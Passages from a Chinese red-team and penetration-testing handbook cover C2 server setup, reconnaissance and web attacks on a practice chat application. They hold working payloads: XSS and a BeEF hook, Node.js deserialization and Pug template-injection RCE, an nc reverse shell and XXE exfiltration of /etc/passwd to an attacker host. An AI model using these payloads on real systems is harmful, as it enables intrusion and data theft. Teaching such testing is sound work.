    {"text": "红队的研究报告需要更多地针对防御团队流程、策略、工具和技能方面的差距，而不是漏洞列表。 在红队的最终报告中，可能会展示一些在任务中发现的漏洞，但是更多的内容是安全流程中存在的缺陷。 注意，红队的输出报告应该主要针对安全流程，而不是针对IT（信息技术）部门未修补的漏洞。"},
    {"text": "渗透测试 红队 有条不紊的安全评估： ● 前期交流 ● 情报搜集 ● 漏洞分析 ● 漏洞利用 ● 漏洞后利用 ● 报告 灵活的安全评估： ● 情报搜集 ● 初步立足点 ● 持久性/本地权限提升 ● 本地主机/网络枚举 ● 横向移动 ● 数据分析/数据获取 ● 获取域权限/获取系统散列 ● 报告 范围： ● 限制范围 ● 1～2周参与 ● 一般公告 ● 发现漏洞 范围： ● 没有规则* ● 1周～6个月的参与时间 ● 没有公告 ● 检验防御团队的流程、策略、工具和技能 *不能违法…… 作为红队，我们需要向公司展示自身价值。"},
    {"text": "即使杀毒软件、主机安全系统或者监控工具可能检测到攻击行为，但是记录的检测时间是安全分析人员检测到攻击行为并创建分析攻击事件的时间。"},
    {"text": "未知 资源与支持 本书由异步社区出品，社区（https://www.epubit.com/）为您提供相关资源和后续服务。 配套资源 本书提供如下资源： 本书配套资源请到异步社区本书购买页下载。 要获得以上配套资源，请在异步社区本书页面中单击 ，跳转到下载界面，按提示进行操作即可。注意：为保证购书读者的权益，该操作会给出相关提示，要求输入提取码进行验证。 提交勘误 作者和编辑尽最大努力来确保书中内容的准确性，但难免会存在疏漏。欢迎您将发现的问题反馈给我们，帮助我们提升图书的质量。 当您发现错误时，请登录异步社区，按书名搜索，进入本书页面，单击“提交勘误”，输入勘误信息，单击“提交”按钮即可。本书的作者和编辑会对您提交的勘误进行审核，确认并接受后，您将获赠异步社区的100积分。积分可用于在异步社区兑换优惠券、样书或奖品。 与我们联系 我们的联系邮箱是contact@epubit.com.cn。 如果您对本书有任何疑问或建议，请您发邮件给我们，并请在邮件标题中注明本书书名，以便我们更高效地做出反馈。 如果您有兴趣出版图书、录制教学视频，或者参与图书翻译、技术审校等工作，可以发邮件给我们；有意出版图书的作者也可以到异步社区在线提交投稿（直接访问http://www.epubit.com/selfpublish/submissionwww.epubit.com/selfpublish/submission即可）。 如果您所在的学校、培训机构或企业想批量购买本书或异步社区出版的其他图书，也可以发邮件给我们。 如果您在网上发现有针对异步社区出品图书的各种形式的盗版行为，包括对图书全部或部分内容的非授权传播，请您将怀疑有侵权行为的链接发邮件给我们。您的这一举动是对作者权益的保护，也是我们持续为您提供有价值的内容的动力之源。 关于异步社区和异步图书 “异步社区”是人民邮电出版社旗下IT专业图书社区，致力于出版精品IT技术图书和相关学习产品，为作译者提供优质出版服务。异步社区创办于2015年8月，提供大量精品IT技术图书和电子书，以及高品质技术文章和视频课程。更多详情请访问异步社区官网https://www.epubit.com。 “异步图书”是由异步社区编辑团队策划出版的精品IT专业图书的品牌，依托于人民邮电出版社近30年的计算机图书出版积累和专业编辑团队，相关图书在封面上印有异步图书的LOGO。异步图书的出版领域包括软件开发、大数据、AI、测试、前端、网络技术等。 异步社区 微信服务号"},
    {"text": "表1.1 长期控制 权限提升 防御规避 凭证获取 探测 访问特性 管理访问令牌 管理访问令牌 管理账户 账户发现 AppCert Dlls 访问特性 二进制填充 暴力破解 应用程序发现 AppInit Dlls AppCert Dlls 用户账号控制规避 凭证导出 文件和目录发现 应用程序兼容 AppInit Dlls 代码签名 文件中凭证 扫描网络服务 鉴权包 应用程序兼容 组件固件 漏洞利用 网络共享发现 Bootkit 用户账号控制规避 组件对象模型劫持 强制鉴权 外围设备发现 浏览器扩展 Dll搜索顺序劫持 Dll搜索顺序劫持 钩子 权限分组发现 MITRE公司还提供了Mac（见表1.2）和Linux的知识列表。"},
    {"text": "表1.2 初始控制 执行 长期控制 权限提升 防御规避 凭证获取 突破驱动 AppleScript .bash_profile和.bashrc Dylib劫持 二进制填充 Bash历史命令 公开访问应用程序漏洞利用 命令行接口 浏览器扩展 漏洞利用提升权限 清空历史命令 暴力破解 硬件植入 客户应用程序漏洞利用 创建账户 运行守护进程 代码签名 文件中凭证 鱼叉式网络钓鱼附件 图形用户接口 Dylib 劫持 Plist修改 禁用安全工具 漏洞利用从而获取凭证 鱼叉式网络钓鱼快捷方式 Launchctl 隐藏文件和目录 进程注入 利用漏洞从而规避防御 输入捕获 鱼叉式网络钓鱼服务 本地任务计划 核心模块和扩展 Setuid和setgid 文件删除 输入提示 1.1 假定突破目标演习 每个公司都应该假定目前自身处于一个遭受攻击的环境中。"},
    {"text": "我使用这些服务的原因是因为它们通常成本非常低（有时是免费的），支持安装Ubuntu服务器，可以部署在世界各地，重要的是它们非常容易安装设置。"},
    {"text": "由于安装及设置简单，因此本书将重点介绍AWS Lightsail服务器，它提供自动化服务，并且流量通常经过AWS，在成功创建了您喜欢的镜像之后，您可以快速地将该镜像复制到多个服务器，这使得构建命令和控制服务器变得非常容易。"},
    {"text": "use modules/exploitation/install_update_all。 use modules/intelligence-gathering/install_update_all。 use modules/post-exploitation/install_update_all。 use modules/powershell/install_update_all。 use modules/vulnerability-analysis/install_update_all。"},
    {"text": "由于这将是您的攻击者服务器，因此您需要限制SSH身份验证的发起位置，Empire/Meterpreter/Cobalt Strike静荷来源，以及您搭建的任何网络钓鱼页面。"},
    {"text": "如果您还记得2016年年末，有人在Cobalt Strike项目组服务器上找到了未经身份验证的远程执行代码（RCE），那么您肯定不希望存储用户数据的攻击者服务器被突破。"},
    {"text": "msfvenom --payload windows/x64/meterpreter_reverse_http --format psh --out meterpreter- 64.ps1 LHOST = 127.0.0.1 我们甚至可以在下一阶段再进行混淆，使用Unicorn等工具生成更多混淆的PowerShell Meterpreter静荷，如图1.3所示。"},
    {"text": "幸运的是，Cobalt Strike 支持突破主机之间采用 SMB网络协议进行命令和控制通信。 这种方式允许一台突破主机连接互联网，网络上的所有其他计算机通过SMB网络协议连接该主机。"},
    {"text": "header \"x-amz-id-1\" \"THKUYEZKCKPGY5T42PZT\" header \"x-amz-id-2\"\"a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRu Z2tmZGl4aHRvNDVpbgo=\" 这个功能已经被应用到许多不同的行动中，许多安全设备已经在所有常见的可移动配置文件中对其创建了签名。"},
    {"text": "我们为解决这个问题所采取的行动是修改所有静态字符串，更改所有用户代理信息，使用真实证书配置SSL（不使用默认的Cobalt Strike SSL证书），使用抖动，以及更改代理信标的时间。"},
    {"text": "1.4.3 PowerShell Empire Empire是一个后漏洞利用框架，包括纯PowerShell 2.0 Windows代理和纯Python 2.6/2.7 Linux/macOS代理。 PowerShell Empire是以前的PowerShell Empire和Python EmPyre项目的合并。"},
    {"text": "在PowerShell方面，Empire支持运行PowerShell代理，无须运行PowerShell.exe，可快速部署后漏洞利用模块，包括键盘记录工具和Mimikatz工具，支持自适应通信方式以规避网络检测，所有这些功能都集成在以可用性为中心的框架中。"},
    {"text": "正如在本书前两版中提到的，Metasploit可以使用rc文件，实现自动化配置，Empire现在也支持自动运行脚本以提高效率，这将在本书后面的章节进行讨论。"},
    {"text": "我喜欢查看常用User Agent，并选择其中一个 Host，切换到HTTPS，端口号为443 CertPath，添加SSL证书路径 UserAgent，修改此处，使用常用的User Agent Port，设置443端口 ServerVersion，修改此处，使用常用服务头 所有配置完成，开启监听程序，如图1.6所示。"},
    {"text": "wget http://security.ubuntu.com/ubuntu/pool/main/i/icu/libicu55_55.1-7ubuntu0.3_amd64.deb。 dpkg-i libicu55_55.1-7ubuntu0.3_amd64.deb。 wget https://github.com/PowerShell/PowerShell/releases/download/v6.0.2/powershell_ 6.0.2-1.ubuntu.16.04_amd64.deb。 dpkg-i powershell_6.0.2-1.ubuntu.16.04_amd64.deb。"},
    {"text": "ns1（虚拟专用服务器IP地址） ns2（虚拟专用服务器IP地址） 修改Nameservers为定制模式。 添加ns1.loca1host.com 添加ns2.loca1host.com 如图1.9所示，现在设置名字服务器指向ns1.loca1host.com和ns2.loca1host.com，它们都指向攻击者虚拟专用服务器。"},
    {"text": "nohup/bin/bash -c \"while true; do/opt/dnscat2/client/dnscat loca1host.com --secret 39dfj3hdsfajh37e8c902j --max-retransmits 5; sleep 3600; done\" >/dev/null 2>&1 &。"},
    {"text": "4．使用dnscat2建立隧道 很多时候，攻击者服务器需要通过突破的主机，访问突破主机内网的其他服务器。 使用dnscat2执行此操作的安全方法之一是本地端口路由我们的流量，接着通过隧道传输到网络内部主机。"},
    {"text": "创建隧道后，在攻击者主机终端根窗口，使用SSH命令登录本地9 999端口，我们可以返回攻击者计算机上的管理员终端窗口，通过SSH命令9 999端口连接到localhost，并通过被攻击者网络上的内部系统身份验证，如图1.12所示。"},
    {"text": "图1.13 1.4.5 p0wnedShell 正如在p0wnedShell的GitHub页面所介绍的，这个工具是用C＃编写的用于攻击目的的PowerShell主机应用程序，它不依赖于powershell.exe，而是在PowerShell运行空间环境（.NET）中运行PowerShell命令和函数。"},
    {"text": "Pupy 的一个非常棒的功能是，您可以在所有代理上运行Python脚本，而无须在所有主机上实际安装Python。 因此，Pupy是一个很方便的工具，能够帮助用户实现在自定义框架中编写大量攻击脚本的目的。"},
    {"text": "1.4.7 PoshC2 PoshC2是一个代理，自适应命令和控制框架，完全用PowerShell编写，可以帮助渗透测试人员与红队开展团队合作，开展后漏洞利用和横向移动操作。 PoshC2工具和模块是在PowerShell会话和Metasploit框架的静荷类型的基础上开发的。"},
    {"text": "未知 第2章 发球前——红队侦察 在本书上一版中，这一章重点介绍如何使用不同的工具，如Recon-NG、Discover、Spiderfoot、Gitrob、Masscan、Sparta、HTTP屏幕截图、漏洞扫描和Burp Suite等工具。"},
    {"text": "/usr/bin/nmap -T4 -oX/opt/nmap_diff/scan_$d.xml 10.100.100.0/24 > /dev/null 2>&1。 if [ -e/opt/nmap_diff/scan_$y.xml ]; then。 /usr/bin/ndiff/opt/nmap_diff/scan_$y.xml/opt/nmap_diff/scan_$d.xml >/opt/nmap_ diff/diff.txt。"},
    {"text": "例如，如果您使用AWS云服务（AWS云服务在全球范围内拥有巨大的IP地址范围），那么根据选择的区域，您的服务器可能被设置在/13掩码地址范围内。"},
    {"text": "针对网络安全猫公司IP地址的范围开展扫描，我们可以看到证书中的主机名，.int是内部服务器，.dev是研发主机，vpn是VPN服务器等，如图2.5所示。"},
    {"text": "我强烈建议您将此代码作为基础，将所有主机名保存到数据库，开发网站前端交互界面，连接可能具有证书的其他端口，例如8443等，甚至可能会挖掘一些漏洞，例如.git/.svn类型漏洞。"},
    {"text": "因此，如果您想了解cyberspacekittens.com子域名，那么利用Knock工具获取下面网址的字典，并查看是否存在[subdomain] .cyberspacekittens.com子域名。"},
    {"text": "随着网站的信息被抓取，通过分析带有链接的文件，我们就可以获取很多网站的公共资源，这意味着我们可以使用搜索引擎完成这些烦琐的工作。"},
    {"text": "我们看到的是，许多开发人员要么将代码推送到错误的仓库（将其发送到公共存储库而不是公司的私有存储库），要么不小心推送了敏感材料（如密码），然后尝试将其删除。"},
    {"text": "wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2。 cd /opt/bucket_finder。 ./bucket_finder.rb --region us my_words -download。"},
    {"text": "aws configure 查看CyberSpaceKittens的S3容器的权限。 aws s3api get-bucket-acl --bucket cyberspacekittens 从S3容器中读取文件。 aws s3 ls s3://cyberspacekittens 下载S3容器中的所有内容。 aws s3 sync s3://cyberspacekittens 在查询S3容器之后，接下来要测试的是该容器的写入权限。"},
    {"text": "例如，您注册名为testlab.s3.amazonaws.com的S3 Amazon容器。 然后，您的公司的子域名testlab.company.com指向testlab.s3.amazonaws.com。 一年后，您不再使用S3容器，并取消了testlab.s3.amazonaws.com注册，但忘记了testlab.company.com的别名记录的重定向配置。 现在有人可以访问AWS并重新申请testlab.s3.amazon.com，并在被攻击者的域上拥有有效的S3容器。"},
    {"text": "这可能需要运行很长时间，因为SimplyEmail工具会检索Bing、Yahoo、Google、Ask Search、PGP Repos和文件等，如图2.13所示。 这也可能使您的网络看起来像搜索引擎的机器人，由于SimplyEmail工具会发起非常多的搜索请求，因此可能需要验证码。"},
    {"text": "图3.2 在运行自己开发的漏洞利用程序之前，对于漏洞悬赏项目，有一点需要注意的是，我看到在一些案例中，研究人员在发现漏洞后，后续操作已不局限于验证漏洞。"},
    {"text": "举例说明，在找到SQL注入漏洞后，转储整个数据库，在接管子域名后用个人认为有趣的内容修改页面，甚至执行远程代码漏洞后，在生产环境中横向渗透。"},
    {"text": "由于这是在您自己的主机系统上托管的网站应用程序，因此需要在攻击者Kali系统上创建主机名记录。 在攻击者Kali虚拟机上编辑主机文件，通过主机名或者IP地址指向被攻击的应用程序。"},
    {"text": "图3.4 在盲目攻击网站之前，了解应用程序可以帮助您找到更好的方法。 对于那些可能配备网站应用程序防火墙的目标站点，了解应用程序同样会帮助您隐蔽更多的攻击行为。"},
    {"text": "XSS静荷混淆/多语言 目前，标准的XSS静荷仍然可以正常运行，但我们确实会发现应用程序阻止某些字符，或者在应用程序前面有网站应用防火墙。"},
    {"text": "<b onmouseover=alert('XSS')>Click Me!</b>。 <svg onload=alert(1)>。 <body onload=\"alert('XSS')\">。 <img src=\"http://test.cyberspacekittens.com\"onerror=alert(document.cookie);>。"},
    {"text": "正如您所看到的，尝试在应用程序中查找各种XSS漏洞很烦琐，这是因为静荷的参数受代码功能、不同类型的HTML标记、应用程序类型和不同类型的过滤机制影响。"},
    {"text": "/*-/*`/*\\`/*'/*\"/**/(/* */oNcliCk=alert())//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/ </scRipt/--!>\\x3csVg/<sVg/oNloAd=alert()//>\\x3e。"},
    {"text": "从红队的角度来看，BeEF是一个很好的工具，可用于各类攻击行动中，包括跟踪用户、捕获凭据、执行单击劫持和钓鱼攻击。 即使不用在攻击场景，BeEF也是一个很好的工具，可以展示XSS漏洞的巨大危害。"},
    {"text": "<script src=\"http://<Your IP>:3000/hook.js\"></script> 查看位于http://127.0.0.1:3000/hook.js上的hook.js文件，您将看到很长的、像是JavaScript的混淆代码。"},
    {"text": "一旦在目标应用程序上找到XSS漏洞，不要使用原始的alert(1)样式静荷，您可以修改<script src=\"http://<Your IP>:3000/hook.js\"></script>静荷来利用此漏洞。"},
    {"text": "由于该数据的结果只能由管理员手动查看，因此请求用户是看不到的，如果应用程序存在XSS漏洞，则攻击者不会立即看到“alert(1)”的攻击效果。"},
    {"text": "图3.11 3.3.8 Node.js中的高级跨站脚本攻击 XSS漏洞反复出现的一个重要原因是，仅通过过滤标签或某些字符的方式很难防范该攻击方式。"},
    {"text": "\\- var title = \"This is the HTML Title\" \\- var THP = \"Hack the Planet\" h1 #{title} p The Hacker Playbook will teach you how to #{THP} 注意，＃{THP}是THP之前分配变量的占位符。"},
    {"text": "<h1>This is the HTML Title</h1> <p>The Hacker Playbook will teach you how to Hack the Planet</p> 幸运的是，在这种情况下，我们使用“＃{}”字符串插值，这是Pug插值的转义版本。"},
    {"text": "{}，非转义字符串插值 ＃{}，虽然转义字符串插值是转义的，但是，如果直接通过JavaScript传递它，仍然可能存在XSS漏洞 在JavaScript中，未转义的缓冲区代码以“！"},
    {"text": "&＃x3C; script&＃x3E; alert(1)&＃x3C;/script&＃x3E; 图3.12 单击提交后，查看页面源代码（<Ctrl + U>组合键）并搜索单词“alert”，您将看到静荷的特殊字符转换为HTML实体。"},
    {"text": "[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[]) [!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])() 如您所知，许多浏览器已开始集成XSS防护机制。"},
    {"text": "虽然有很多不同的方式实现这个目标，但我们通常会发现，如果可以在内容管理系统（CMS）或类似设备中找到用户-管理员类型的XSS，那么就能够完全突破系统。"},
    {"text": "在传统的SQL注入中，攻击者会尝试跳出SQL查询，并在服务器端修改查询操作。 使用NoSQL注入，攻击可以在应用程序的其他区域中执行，而不是在传统的SQL注入中执行。 此外，在传统的SQL注入中，攻击者会使用标记来跳出语句。 在NoSQL注入攻击中，NoSQL漏洞通常是由于字符串解析或者赋值操作造成的。 NoSQL注入中漏洞通常在以下情况下发生：向NoSQL数据库提出请求，端点接收JSON数据；"},
    {"text": "这个JSON对象的含义是运算符（$gt）大于NULL (\"\")。 由于逻辑上所有内容都大于NULL，因此JSON对象始终是正确的，允许我们绕过或注入NoSQL查询。"},
    {"text": "图3.15 在聊天应用程序中，我们看到对/loginnosql端点进行身份验证期间，POST数据中包含{“username”：“admin”，“password”，“GuessingAdminPassword”}。"},
    {"text": "将POST请求更改为{“username”:“admin”, “password”:TRUE}，使得请求始终正确，并以管理员身份登录而不需要知道密码，复制了SQLi中1=1攻击方式。"},
    {"text": "username=admin&password[$gt] 服务器端请求转换变成如下形式。 {\"username\":\"admin\", \"password\":{\"$gt\":\"\"} 这看起来类似于之前的NoSQLi攻击。"},
    {"text": "我们在BlackHat上看到了很多不同的讨论，内容主要是挖掘了Jenkins和Apache Struts 2等常见应用程序中的序列化关键漏洞，同时出现了大量反序列化研究项目ysoserial。"},
    {"text": "1．Node.js中的反序列化 很多时候，挖掘复杂的漏洞需要深入了解应用程序。 在这个场景中，Node.js聊天应用程序使用存在漏洞的serialize.js版本。"},
    {"text": "这个库存在漏洞，易受攻击，原因是不受信任的数据传递给unserialize()函数，可以被利用，执行任意代码，具体操作是将中间调用函数表达式（IIFE）传递给JavaScript对象。"},
    {"text": "图3.18 其次，我们需要创建一个序列化静荷，静荷将被反序列化，并通过eval运行，同时JavaScript静荷需要运行 ('child_process').exec('ls')。"},
    {"text": "{\"thp\":\"_$$ND_FUNC$$_function (){require('child_process').exec('DO SYSTEM COMMANDS HERE', function(error, stdout, stderr) {console.log(stdout) });}()\"}。"},
    {"text": "在burp中代理流量并查看Cookie值，如图3.19所示。 图3.19 找到一个Cookie名称“donotdecodeme”。 将该Cookie复制到Burp Suite解码器中，对其进行Base64解码，如图3.20所示。"},
    {"text": "{\"thp\":\"_$$ND_FUNC$$_function(){require('child_process').exec('DO SYSTEM COMMANDS HERE',function(error, stdout, stderr) { console.log(stdout) });}()\"} 示例如下。 {\"thp\":\"_$$ND_FUNC$$_function(){require('child_process').exec('echo node deserialization is awesome!! >>/opt/web/chatSupportSystems/public/hacked.txt', function(error, stdout, stderr) { console.log(stdout) });}()\"} 由于原始 Cookie 已经编码，因此我们需要使用 Burp 解码器/编码器对静荷进行base64编码。 示例静荷，如图3.21所示 eyJ0aHAiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7cmVxdWlyZSgnY 2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2VjaG8gbm9kZSBkZXNlcmlhbGl6YX Rpb24gaXMgYXdlc29tZSEhID4+IC9vcHQvd2ViL2NoYXRTdXBwb3J0U3lz dGVtcy9wdWJsaWMvaGFja2VkLnR4dCcsIGZ1bmN0aW9uKGVycm9yLCBz dGRvdXQsIHN0ZGVycikgeyBjb25zb2xlLmxvZyhzdGRvdXQpIH0pO30oKSJ9 注销，打开Burp拦截，并转发请求/（home）。"},
    {"text": "图3.21 如图3.22所示，在node-serialize模块的源代码中，我们看到这个函数表达式正在被计算，用户输入可能被执行，对于任何JavaScript/Node.js应用程序来说，这都是一个严重的问题。"},
    {"text": "这是一个段落缩进 这仍然是段落标记的一部分 以下是 HTML 和Pug模板的示例，如图 3.23所示。 图3.23 上面的示例文本显示了模版在HTML中的排版以及模版在Pug Markup语言中的排版。"},
    {"text": "http://chat:3000/ti?user=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&co mment=&link= 图 3.24 所示表明应用程序存在XSS漏洞，但是可以与模板系统进行交互吗？"},
    {"text": "图3.24 在Burp历史记录中，查看服务器请求/响应，指向端点数据包/ti?user=，并将请求发送到Burp Repeater（<Ctrl + R>组合键），如图3.25所示。"},
    {"text": "（1）正如前文所述，Pug是用空格分隔的（类似于Python），换行符用于输入一个新的模板，这意味着如果跳出Pug中的当前行，就可以执行新的模板代码。"},
    {"text": "[newline]=9\\*9 URL编码： GET/ti?user=%0a%3d9*9&comment=&link= （4）/ti?user =%0a%3d9 * 9在响应正文中输出了81，如图3.27所示。"},
    {"text": "[new line]=globa 使用Burp的解码器工具将上述表达式进行URL编码，可以得到：%0a%3d %20%67%6c%6f%62%61%6c 使用上面的URL编码字符串作为用户值并重新发送。"},
    {"text": "全局中的每个变量和索引 p = index URL编码： %0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%20%69%6e% 20%67%6c%6f%62%61%6c%0a%20%20%70%3d%20%69%6e%64%65%78 在上面的示例中，我们使用‘each’迭代器，它可以访问值，并且如果指定数组或对象，也可以访问索引。"},
    {"text": "- var x = global.process.mainModule.require p= index URL编码： %0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%20%69%6e %20%67%6c%6f%62%61%6c%2e%70%72%6f%63%65%73%73%0a%20%20 %70%3d%20%69%6e%64%65%78 我们尝试在所有可用的方法中选择“process”，因为它最终会执行 require，如图3.30所示。"},
    {"text": "图3.30 global.process.mainModule的每个变量和索引 p= index URL编码： %0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%20%69 %6e%20%67%6c%6f%62%61%6c%2e%70%72%6f%63%65%73%73%2e%6d %61%69%6e%4d%6f%64%75%6c%65%0a%20%20%70%3d%20%69%6e%64 %65%78 远程执行代码。"},
    {"text": "- var x = global.process.mainModule.require - x('child_process').exec('cat/etc/passwd >>/opt/web/chatSupportSystems/ public/accounts.txt') URL编码： %0a%2d%20%76%61%72%20%78%20%3d%20%67%6c%6f%62%61%6c%2e %70%72%6f%63%65%73%73%2e%6d%61%69%6e%4d%6f%64%75%6c%65 %2e%72%65%71%75%69%72%65%20%0a%2d%20%78%28%27%63%68%69 %6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28 %27%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%3e %3e%20%2f%6f%70%74%2f%77%65%62%2f%63%68%61%74%53%75%70 %70%6f%72%74%53%79%73%74%65%6d%73%2f%70%75%62%6c%69%63 %2f%61%63%63%6f%75%6e%74%73%2e%74%78%74%27%29 在上面的示例中，我们像在JavaScript中一样定义变量“x”，但行首的破折号表示无缓冲输出（隐藏）。"},
    {"text": "cd /opt/tplmap ./tplmap.py -u \"http://chat:3000/ti?user=*&comment=asdfasdf&link=\" 图3.32 3.3.13 JavaScript和远程代码执行 在每次安全评估和Web应用程序渗透测试中，我们尽可能实现远程执行代码。"},
    {"text": "虽然远程执行代码几乎会出现在任何地方，但是常见于上传WebShell、Imagetragick漏洞利用、使用Office文件开展XXE攻击、目录遍历结合上传功能实现关键文件替换等过程。"},
    {"text": "-var x = global.process.mainModule.require -x('child_process').exec('nc [Your_IP] 8888 -e/bin/bash') 通过Burp工具，查看上传文件的请求和响应数据包，如图3.35所示。"},
    {"text": "图3.36 3.3.14 服务器端请求伪造（SSRF） 服务器端请求伪造（SSRF）通常容易被误解，并且在表述方面，经常与跨站点请求伪造（CSRF）混为一谈。"},
    {"text": "接下来发生的事情是服务器创建一个全新的请求，访问Imgur站点，抓取图像（可能会执行一些图像操作以调整图像大小—imagetragick），将其保存到服务器，并给用户发送成功消息。"},
    {"text": "如您所见，我们提供了一个URL，服务器获取该URL并获得图像，然后将其上传到数据库。 我们最初向 Web 应用程序提供URL，以便从外部资源获取配置文件图片。"},
    {"text": "网站服务器运行在80端口，如果我们尝试连接到http://127.0.0.1:8080（这是一个除本地主机之外，其他主机无法访问的端口），会发生什么情况？"},
    {"text": "如果我们能得到完整的HTTP请求/响应数据包，而且可以在本地对端口8080发出GET请求，那么如果我们发现易受攻击的Jenkins或Apache Tomcat服务，会发生什么？"},
    {"text": "在“Link”文本框中，输入http://cyberspacekittens.com网站，然后单击预览链接。 您现在应该看到http://cyberspacekittens.com呈现的页面，但URI栏仍应指向聊天应用程序。"},
    {"text": "如果打开浏览器访问网址：http://chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:28017，就可以利用SSRF漏洞访问MongoDB网站界面，如图3.41所示。"},
    {"text": "要访问 serverStatus（http://chat: 3000/serverStatus?text=1），如图3.42所示，您必须使用SSRF攻击方法并跳转到下面的网址。 图3.42 http://chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:28017/serverStatus? text=1。"},
    {"text": "3.3.15 XML eXternal Entities（XXE） XML 是可扩展标记语言的缩写，主要用于发送/存储易于理解的数据。 XML eXternal Entities（XXE）是指应用程序中XML解析器漏洞。"},
    {"text": "表3.1 正常 XML 文件 恶意 XML 文件 <?xml version=\"1.0\" encoding=\"ISO- 8859-1\"?> <Prod> <Type>Book</type> <name>THP</name> <id>100</id> </Prod> <?xml version=\"1.0\" encoding=\"utf- 8\"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM \"file:///etc/passwd\"> ]> <xxx>&xxe;</xxx> 上面，我们有一个普通的XML文件和一个定制的读取系统的/etc/passwd内容的XML文件。"},
    {"text": "<?xml version=\"1.0\" ?> <!DOCTYPE thp [ <!ELEMENT thp ANY> <!ENTITY book \"Universe\"> ]> <thp>Hack The &book;</thp> 在这个例子中，指定XML版本为1.0，DOCTYPE指定根元素是thp，!ELEMENT指定任何类型，并且!ENTITY设置book字符串“Universe”。"},
    {"text": "表3.2 原始 XML 文件 恶意 XML 文件 <?xml version=\"1.0\" ?> <!DOCTYPE thp [ <!ELEMENT thp ANY> <!ENTITY book \"Universe\"> ]> <thp>Hack The &book;</thp> <?xml version=\"1.0\" ?> <!DOCTYPE thp [ <!ELEMENT thp ANY> <!ENTITY book SYSTEM \"file:///etc/passwd\"> ]> <thp>Hack The &book;</thp> XXE实验——读取文件 拦截流量并在[IP of Your VM]/xxe.php中单击“Hack the XML”。"},
    {"text": "<?xml version=\"1.0\" ?><!DOCTYPE thp [ <!ELEMENT thp ANY><!ENTITY book SYSTEM \"file:///etc/passwd\">]><thp>Hack The %26book%3B</thp> 请注意%26等同于&，%263B等同于；"},
    {"text": "<!ENTITY % dtd SYSTEM \"http://[Your_IP]/payload.dtd\"> %dtd; 新的数据POST静荷显示如下（请记住改变[Your_IP]）。 <?xml version=\"1.0\"?><!DOCTYPE thp [<!ELEMENT thp ANY><!ENTITY % dtd SYSTEM \"http://[YOUR_IP]/payload.dtd\">%dtd;]><thp><error>%26send%3B </error> </thp> 在攻击者服务器上创建名为payload.dtd的文件。 gedit/var/www/html/payload.dtd <!ENTITY % file SYSTEM \"file:///etc/passwd\"> <!ENTITY % all \"<!ENTITY send SYSTEM'http://[Your_IP]:8888/collect= %file;'>\"> %all; 刚刚创建的DTD文件的作用是从存在XXE漏洞的服务器读取/etc/passwd，然后将敏感数据通过Web请求回传到攻击者主机。"},
    {"text": "nc -l -p 8888 您可能看到以下错误内容：simplexml_load_string(): parser error : Detected an entity reference loop in <b>/var/www/html/xxe.php</b> on line <b>20。"},
    {"text": "运行NetCat监听器，修改payload.dtd文件来启用这个功能，如图3.44所示。 <!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource= file:///etc/passwd\"> <!ENTITY % all \"<!ENTITY send SYSTEM'http://[Your_IP]:8888/collect=%file;'>\"> %all; 图3.44 在重新发送新修改的请求后，我们现在可以看到被攻击者服务器首先读取payload.dtd文件，处理该文件，并向端口8888上的NetCat监听程序发送第二个Web请求。"},
    {"text": "未知 第4章 带球——突破网络 在评估开始的第二天，您使用Nmap工具扫描整个网络，不走运地启动了漏洞扫描程序，但是没有在任何网站应用程序中发现突破口。"},
    {"text": "您知道，一旦可以进入网络，就可以使用大量的技巧获取更多的凭证，在设备之间迁移，利用活动目录存在的漏洞，找到我们都渴望的网络空间“战利品”。"},
